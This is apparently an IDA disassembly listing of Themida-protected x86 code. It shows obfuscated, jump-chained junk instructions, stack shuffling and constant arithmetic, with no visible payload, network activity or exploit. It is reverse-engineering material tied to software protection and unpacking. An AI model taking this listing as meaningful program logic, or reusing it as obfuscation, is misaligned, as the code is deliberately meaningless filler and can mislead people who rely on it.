; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593263:				; CODE XREF: sub_596082+967j
		push	eax
		mov	eax, 266AA108h
		add	ebx, eax
		pop	eax
		jmp	loc_58F908
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	1A9Dh
		jmp	loc_5967FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593288:				; CODE XREF: sub_596082-58B7j
		pop	esp
		jmp	loc_58C0F7
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_59328E:				; CODE XREF: Themida_:00592E60j
		mov	edi, 18315C66h
		push	ecx
		jmp	loc_58E3EB
; ---------------------------------------------------------------------------


loc_593299:				; CODE XREF: Themida_:0058A694j
		push	453Ah
		mov	[esp], ebx
		jmp	loc_58DA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5932A6:				; CODE XREF: sub_596082-7E23j
		pop	esp
		push	bp
		jmp	loc_58BFB4
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5932AE:				; CODE XREF: Themida_:005912ADj
		sub	edx, 2302C4Eh
		jmp	loc_593F6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_5932B9:				; CODE XREF: sub_58E91C+FD3j
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xor	eax, [esp-8+arg_4]
		xor	[esp-8+arg_4], eax
		xor	eax, [esp-8+arg_4]
		pop	esp
		mov	[esp-0Ch+arg_8], ebx
		mov	eax, [esp-0Ch+arg_8]
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_58D139
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------


loc_5932DF:				; CODE XREF: Themida_:00593F8Aj
		mov	edx, 519A62EEh
		neg	edx
		or	edx, 1DEB4A4Dh
		jp	loc_59279D
		shr	edx, 4
		js	loc_592B56
		and	edx, 56312E50h
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593301:				; CODE XREF: sub_596082+4E7j
		pop	ecx
		sub	esp, 4
		mov	[esp+0], edx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+2+var_4+2]
		pop	esp
		jmp	loc_593719
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_593320:				; CODE XREF: Themida_:00596BBFj
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		bt	[esp], eax
		pushf
		jmp	loc_596AF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_59332F:				; CODE XREF: sub_5F45E7-5FDE7j
		add	cl, 0BBh
		add	bl, cl
		pop	ecx
		push	edx
		jmp	loc_59647F
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_59333B:				; CODE XREF: Themida_:0058D545j
		pop	esp
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_593346:				; CODE XREF: Themida_:0058EDEDj
		push	eax
		mov	eax, 21F7633Bh
		sub	eax, 1F3965D3h
		xor	eax, 2BDFD6Ch
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	52B851ADh
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58A5BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_593382:				; CODE XREF: sub_58E66C+89F9j
		shl	edx, 1
		push	edx
		push	ebp
		push	456E06BBh
		pop	ebp
		push	0
		sub	[esp+1Eh+var_20+2], ebp
		push	[esp+1Eh+var_20+2]
		jmp	loc_5954C0
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_59339C:				; CODE XREF: Themida_:loc_5957A4j
		push	edi
		push	edx
		mov	edx, 4818376Ah
		mov	edi, edx
		pop	edx
		inc	edi
		push	ebp
		mov	ebp, 0
		jmp	loc_593887
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5933B2:				; CODE XREF: sub_596082-3925j
		add	cl, ah
		pop	eax
		sub	al, cl
		pop	ecx
		push	ecx
		sub	esp, 4
		mov	[esp+0], edx
		push	ecx
		mov	cl, 0EAh
		jmp	loc_590C7E
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E049


loc_5933C7:				; CODE XREF: sub_58E049+16j
		pop	edx
		add	esp, 4
		push	4730h
		mov	[esp+0], esi
		push	37BEh
		mov	[esp+4+var_4], edi
		push	589Bh
		jmp	loc_58ACE5
; END OF FUNCTION CHUNK	FOR sub_58E049
; ---------------------------------------------------------------------------


loc_5933E5:				; CODE XREF: Themida_:00592439j
		add	eax, 4
		jmp	loc_594E79
; ---------------------------------------------------------------------------


loc_5933EF:				; CODE XREF: Themida_:005962C8j
		jnz	loc_58D474
		shl	ebp, 8
		jp	sub_596BC4
		mov	esi, edx
		mov	bl, ch
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_593402:				; CODE XREF: sub_5F45E7-6802Cj
		add	esp, 2
		push	eax
		mov	al, 0E7h
		sub	al, 68h
		xor	al, 7Bh
		sub	al, 8
		sub	bl, al
		pop	eax
		push	eax
		jmp	loc_5953AF
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_593417:				; CODE XREF: Themida_:005905A2j
		push	eax
		mov	eax, 64054233h
		push	ebp
		jmp	loc_58BA1B
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 7
		sub	al, 40h
		sub	al, bl
		add	al, 40h
		push	ecx
		mov	ch, 4Bh
		and	ch, 0DBh
		neg	ch
		jmp	loc_595B75
; ---------------------------------------------------------------------------


loc_593439:				; CODE XREF: Themida_:0058B8F4j
		push	edi
		mov	edi, 699E4172h
		sub	[esp+8], edi
		pop	edi
		pop	edx
		sub	[esp], eax
		push	ecx
		mov	ecx, 361C43C6h
		sub	dword ptr [esp+4], 17A26DB2h
		sub	[esp+4], ecx
		jmp	loc_59769A
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_58A7B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597088


loc_593465:				; CODE XREF: sub_597088-1E0Fj
		push	640Bh
		jmp	loc_592B87
; END OF FUNCTION CHUNK	FOR sub_597088
; ---------------------------------------------------------------------------


loc_59346F:				; CODE XREF: Themida_:0059779Ej
		pop	edx
		push	ebp
		push	eax
		mov	eax, 744C1481h
		inc	eax
		jmp	loc_58C2E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D90C


loc_59347D:				; CODE XREF: sub_58D90C+4070j
		add	esp, 4
		sub	esp, 4
		jmp	loc_58F4EF
; END OF FUNCTION CHUNK	FOR sub_58D90C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_593488:				; CODE XREF: sub_58E66C+2247j
		sub	ebp, 2A0D738Eh
		jmp	loc_596B5D
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E600


loc_593493:				; CODE XREF: sub_58E600+803Fj
		pop	dword ptr [edi+20h]
		jmp	loc_58B70C
; END OF FUNCTION CHUNK	FOR sub_58E600
; ---------------------------------------------------------------------------


loc_59349B:				; CODE XREF: Themida_:00596D1Aj
		mov	edx, 0C220A22h
		shl	edx, 5
		add	edx, 0D14C33E1h
		mov	ecx, edx
		pop	edx
		sub	edi, ecx
		jmp	loc_592D39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_5934B3:				; CODE XREF: sub_596082-649Ej
					; sub_5F45E7-5D262j
		xor	cl, 0E8h
		add	cl, 0CEh
		jge	loc_58A581
		xor	cl, 6Fh
		jp	loc_5946F1
		sub	esp, 4
		mov	[esp+30h+var_32+2], eax
		mov	al, 0D8h
		jmp	loc_592C65
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5934D8:				; CODE XREF: sub_596082-9229j
		shl	ch, 8
		push	edx
		mov	dl, 95h
		xor	dl, 0B9h
		add	ch, dl
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		xor	al, ch
		jmp	loc_590F1B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5934F3:				; CODE XREF: Themida_:0058C597j
		sub	edx, eax
		pop	eax
		add	edx, 17F61E3Fh
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_592C01
; ---------------------------------------------------------------------------


loc_59350C:				; CODE XREF: Themida_:00590A56j
		add	esp, 4
		push	ebp
		jmp	loc_592B3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593518:				; CODE XREF: sub_596082-8ADj
		push	esi
		mov	esi, 521C1848h
		xor	edi, esi
		jmp	loc_594805
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_593525:				; CODE XREF: Themida_:0058EBF9j
		xchg	eax, [esp]
		pop	esp
		imul	cl
		jmp	loc_58C248
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E600


loc_593530:				; CODE XREF: sub_58E600+6j
		inc	ebx
		add	ebx, 2B3C6E42h
		push	0
		sub	[esp+8+var_8], ebx
		pop	ebx
		push	esi
		mov	esi, 770C63B0h
		xor	ebx, esi
		mov	esi, [esp+8+var_8]
		jmp	loc_59066D
; END OF FUNCTION CHUNK	FOR sub_58E600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_593550:				; CODE XREF: sub_5925A4-3DEBj
		add	al, dl
		pop	edx
		push	dx
		push	75DAh
		mov	[esp+8+var_A+2], ecx
		push	172Ah
		mov	[esp+0Ch+var_E+2], edx
		mov	dh, 0ACh
		push	bx
		mov	bh, 0Bh
		jmp	loc_58B300
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C4A4


loc_593570:				; CODE XREF: sub_58C4A4+15j
		sub	ebp, 0CE8D00BEh
		and	ebx, ebp
		pop	ebp
		inc	ebx
		jmp	loc_593A6D
; END OF FUNCTION CHUNK	FOR sub_58C4A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59357F:				; CODE XREF: sub_596082-2EE8j
		dec	esi
		jz	loc_58B4EB
		jmp	loc_58F38D
; ---------------------------------------------------------------------------


loc_59358B:				; CODE XREF: sub_596082-823Cj
		push	small 5D64h
		mov	word ptr [esp+6+var_8+2], dx
		jmp	loc_58D1BB
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_593598:				; CODE XREF: Themida_:0058F965j
		sub	edi, 1FA71D10h
		jmp	loc_596644
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_5935A3:				; CODE XREF: sub_593009-330Cj
		inc	eax
		sub	eax, 68A0345Bh
		dec	eax
		jle	loc_58A844
		neg	eax
		jnp	loc_58D08D
		jmp	loc_58C59C
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5935BD:				; CODE XREF: sub_58E66C-1FD5j
		push	ecx
		push	edx
		jmp	sub_591C99
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_5935C4:				; CODE XREF: sub_58E91C+15j
		push	edi
		push	29DA3145h
		pop	edi
		push	5C5h
		mov	[esp-8+arg_4], ecx
		mov	ecx, 0B80510Bh
		xor	edi, ecx
		pop	ecx
		xor	edi, 142D4CFEh
		sub	edx, edi
		pop	edi
		jmp	loc_58C66E
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------


loc_5935E9:				; CODE XREF: Themida_:00595AD1j
		add	esp, 4
		jmp	loc_59021E
; ---------------------------------------------------------------------------


loc_5935F4:				; CODE XREF: Themida_:0058AF4Cj
		xchg	dh, cl
		not	dh
		xchg	dh, cl
		add	cl, 2Ah
		jmp	loc_58F291
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593602:				; CODE XREF: sub_596082-8EAEj
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
		jmp	loc_592133
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_59360E:				; CODE XREF: sub_58E91C+70B1j
		add	esp, 4
		or	eax, eax
		jz	loc_59031B
		push	eax
		mov	eax, 1Ch
		add	eax, 5140596Eh
		add	eax, edi
		sub	eax, 5140596Eh
		jmp	loc_596256
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------


loc_593630:				; CODE XREF: Themida_:0058DEA2j
		mov	esi, edx
		jmp	loc_590AE2
; ---------------------------------------------------------------------------


loc_593637:				; CODE XREF: Themida_:00592631j
		mov	ecx, ebx
		jmp	loc_594F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_59363E:				; CODE XREF: sub_58E66C+87E8j
		mov	esp, [esp+0Eh+var_10+2]
		sub	word ptr [esp+0Eh+var_10+2], ax
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		db 66h
		dd 0D83166ADh, 158F6866h, 240C8966h, 0DD686652h, 0F387E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_593662:				; CODE XREF: sub_58F160-F0Aj
		pop	esi
		push	eax
		pop	ebp
		pop	eax
		add	ebx, ebp
		pop	ebp
		add	eax, ebx
		pop	ebx
		push	eax
		push	esi
		mov	esi, 2BD249DEh
		jmp	loc_58DB9D
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_58C528
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_595A36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59369B:				; CODE XREF: sub_596082-17F0j
		pop	ecx
		jmp	loc_58C9D9
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_5936A1:				; CODE XREF: sub_5926EF-409Bj
					; sub_58B09E:loc_5954CDj
		pop	ebp
		mov	eax, [esp+8+var_8]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_5962E3
; END OF FUNCTION CHUNK	FOR sub_58B09E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_5936B7:				; CODE XREF: sub_59425A+10E1j
		sub	esi, edi
		push	edi
		mov	edi, 10235AE4h
		add	esi, edi
		jmp	loc_59744F
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_5936C6:				; CODE XREF: sub_58F160+676Ej
		pop	eax
		jmp	loc_58AA54
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_5936CC:				; CODE XREF: sub_591C99-DC4j
		mov	ch, dh
		jmp	loc_594F52
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5936DB:				; CODE XREF: sub_596082-1D49j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		push	[esp-4+arg_0]
		pop	ecx
		add	esp, 4
		jmp	loc_58D7C7
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5936F7:				; CODE XREF: Themida_:loc_594074j
		sub	ah, 3Fh
		ja	loc_59161D
		shl	ah, 4
		jmp	loc_592599
; ---------------------------------------------------------------------------
		mov	[esp], edi
		push	ebp


loc_59370C:				; CODE XREF: Themida_:00595F52j
		mov	ch, 0D3h
		sub	ch, 0C9h
		sub	ch, 8Ch
		jmp	loc_58ED00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593719:				; CODE XREF: sub_596082-2D67j
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		jmp	loc_58E12E
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_59372F:				; CODE XREF: Themida_:00592045j
		shl	ecx, 8
		neg	ecx
		jl	loc_595A2B
		add	ecx, 17EE0304h
		jmp	loc_590FF5
; ---------------------------------------------------------------------------
		pop	esi
		mov	ch, bl
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_593749:				; CODE XREF: sub_58E66C+5DBAj
		sub	edx, 19310DC3h
		jz	loc_5940D8
		and	edx, 166C430Ch
		jmp	loc_595B3E
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_593760:				; CODE XREF: Themida_:0058BFF9j
		push	55B65EFAh
		pop	eax
		jmp	loc_58D323
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_59376B:				; CODE XREF: sub_594EC6-7EC8j
		mov	edi, 4
		add	eax, 466919EBh
		add	eax, edi
		sub	eax, 466919EBh
		mov	edi, [esp+8+var_8]
		jmp	loc_596CD6
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------


loc_593784:				; CODE XREF: Themida_:0058D19Fj
		mov	eax, [esp]
		push	ecx
		push	esp
		jmp	loc_58F576
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59378E:				; CODE XREF: sub_596082-1A77j
		jnp	loc_58F252
		add	eax, 0E7CB11EDh
		push	eax
		jmp	loc_58D728
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		pop	ecx


loc_5937A0:				; CODE XREF: Themida_:00593DA6j
		add	ax, 763Eh
		jmp	loc_5959A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_5937A9:				; CODE XREF: sub_593009+9j
		pop	ebp
		jmp	loc_595707
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_5937AF:				; CODE XREF: sub_58F160-4657j
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_5937B4:				; CODE XREF: Themida_:00594965j
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58C986
; ---------------------------------------------------------------------------


loc_5937D8:				; CODE XREF: Themida_:00592784j
		add	ecx, eax
		pop	eax
		sub	esp, 4
		jmp	loc_58B22E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_5937E6:				; CODE XREF: sub_58D6A0:loc_58BCB9j
		add	ecx, 0F36A1FB8h
		jmp	loc_594117
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_5937F1:				; CODE XREF: sub_593009+BFFj
		mov	edx, 4
		jmp	loc_596BDD
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_5937FB:				; CODE XREF: Themida_:0058E9F8j
		sub	edi, 266F0785h
		jnb	loc_596489
		xor	edi, 0EA2B5F7Fh
		push	edi
		sub	dword ptr [esp], 442F0ADBh
		pop	ebp
		add	ebp, 442F0ADBh
		mov	edi, [esp]
		add	esp, 4
		add	edx, 763268h
		add	edx, ebp
		sub	edx, 763268h
		jmp	loc_5917A3
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_590820
; ---------------------------------------------------------------------------


loc_593844:				; CODE XREF: Themida_:005940B1j
		push	esi
		mov	esi, 35883784h
		sub	eax, esi
		jmp	loc_58A732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593851:				; CODE XREF: sub_596082-1493j
		add	esp, 4
		jmp	loc_58A7AD
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_59385C:				; CODE XREF: Themida_:00591AC2j
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_58F338
; ---------------------------------------------------------------------------


loc_593871:				; CODE XREF: Themida_:0058B880j
		push	edi
		mov	edi, 5DC72D1h
		shr	edi, 3
		sub	edi, 932F6C60h
		mov	edx, edi
		jmp	loc_58F14D
; ---------------------------------------------------------------------------


loc_593887:				; CODE XREF: Themida_:005933ADj
		sub	ebp, 32883F96h
		sub	ebp, edi
		add	ebp, 32883F96h
		mov	edi, ebp
		jmp	loc_595873
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59389C:				; CODE XREF: sub_596082-59B4j
		jnz	loc_591CB8
		jmp	loc_5901A6
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebp


loc_5938AF:				; CODE XREF: Themida_:0058F2CBj
		push	21D7h
		mov	[esp], ecx
		jmp	loc_58E592
; ---------------------------------------------------------------------------


loc_5938BC:				; CODE XREF: Themida_:005902E0j
		mov	eax, [esp]
		add	esp, 4
		pop	dx
		xor	bl, 0DCh
		jmp	loc_595077
; ---------------------------------------------------------------------------


loc_5938CC:				; CODE XREF: Themida_:0059280Ej
		mov	eax, 38h
		jmp	loc_59165E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D250


loc_5938D6:				; CODE XREF: sub_58D250-141Aj
		pop	esp
		add	esp, 4
		add	edx, eax
		add	edx, 62D52E70h
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58D250
; ---------------------------------------------------------------------------


loc_5938EA:				; CODE XREF: Themida_:00596449j
		push	eax
		mov	eax, 11136640h
		and	eax, 68FA7622h
		not	eax
		jmp	loc_592233
; ---------------------------------------------------------------------------


loc_5938FC:				; CODE XREF: Themida_:00591585j
		push	ebp
		mov	ebp, 22F07D60h
		shl	ebp, 8
		sub	ebp, 0FDDD4A0Ah
		jmp	loc_5976ED
; ---------------------------------------------------------------------------


loc_593910:				; CODE XREF: Themida_:00594F9Cj
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_58DEA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_59391A:				; CODE XREF: sub_58B09E-A91j
		or	ebx, 362A34D1h
		jmp	sub_596082
; END OF FUNCTION CHUNK	FOR sub_58B09E
; ---------------------------------------------------------------------------
		push	5F58h
		mov	[esp], edi
		push	esi
		mov	esi, esp
		jmp	loc_58EAF5
; ---------------------------------------------------------------------------


loc_593935:				; CODE XREF: Themida_:0059516Fj
		xor	eax, 37C579DDh
		sub	ebx, 6DD161F9h
		sub	ebx, eax
		add	ebx, 6DD161F9h
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59497F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596FD2


loc_59395D:				; CODE XREF: sub_596FD2+13j
		or	esi, ebp
		pop	ebp
		or	esi, 424959AFh
		push	edi
		mov	edi, 6B291CF8h
		shl	edi, 8
		and	edi, 62AF7F8Bh
		dec	edi
		jmp	loc_591616
; END OF FUNCTION CHUNK	FOR sub_596FD2
; ---------------------------------------------------------------------------


loc_59397B:				; CODE XREF: Themida_:00594234j
		push	cx
		pushf
		jmp	loc_58A4F0

; =============== S U B	R O U T	I N E =======================================



sub_593983	proc near		; CODE XREF: sub_58C878+AACEj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058C441 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D463 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D4C3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F016 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00593DD1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059418E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595174 SIZE 00000010 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_58D463
sub_593983	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_593997:				; CODE XREF: sub_596498-4DE8j
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		movzx	ecx, al
		push	29D9h
		mov	[esp-4+arg_0], ecx
		jmp	loc_5904DF
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5939B3:				; CODE XREF: Themida_:0058B6ACj
					; sub_58E66C+81B6j
		push	691Dh
		jmp	loc_58B14D
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_5939BD:				; CODE XREF: Themida_:00594626j
		jle	loc_597177
		jmp	loc_595136
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5939C8:				; CODE XREF: sub_596082-6281j
		mov	eax, 2F33B50h
		sub	esp, 4
		jmp	loc_58E0A9
; ---------------------------------------------------------------------------


loc_5939D5:				; CODE XREF: sub_596082-32CAj
		add	bx, 6C5Ch
		mov	si, bx
		pop	ebx
		add	ax, 0DE6h
		sub	ax, si
		sub	ax, 0DE6h
		pop	si
		add	ax, dx
		add	ax, 717Ch
		mov	edx, [esp+8+var_8]
		push	ebp
		mov	ebp, esp
		jmp	loc_597644
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5939FD:				; CODE XREF: Themida_:0058B6BAj
		pop	edx
		push	edi
		jmp	loc_58FC39
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58F508
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_593A19:				; CODE XREF: sub_58E91C+28A8j
		mov	esp, [esp-4+arg_0]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], eax
		push	552Dh
		mov	[esp+4+var_4], ebx
		jmp	loc_59415C
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5F7


loc_593A44:				; CODE XREF: sub_58A5F7+4BEFj
		xchg	eax, ecx
		not	eax
		jmp	loc_59621D
; END OF FUNCTION CHUNK	FOR sub_58A5F7
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58F053
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593A54:				; CODE XREF: sub_596082-74Ej
		jl	loc_5955CF
		jmp	loc_594043
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59569E


loc_593A5F:				; CODE XREF: sub_59569E-6D66j
		mov	esi, ebx
		pop	ebx
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		jmp	sub_596FD2
; END OF FUNCTION CHUNK	FOR sub_59569E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C4A4


loc_593A6D:				; CODE XREF: sub_58C4A4+70D6j
		neg	ebx
		inc	ebx
		neg	ebx
		push	ebp
		mov	ebp, 31453Fh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_597286
; END OF FUNCTION CHUNK	FOR sub_58C4A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_593A80:				; CODE XREF: sub_591C99-5848j
					; Themida_:0058C660j
		xchg	esi, [esp+0]
		pop	esp
		pop	[esp-0Ah+arg_0+2]
		mov	esp, [esp-0Eh+arg_6]
		push	3845h
		mov	[esp-0Ah+arg_0+2], ebx
		jmp	loc_58ABB7
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
		push	8CFh
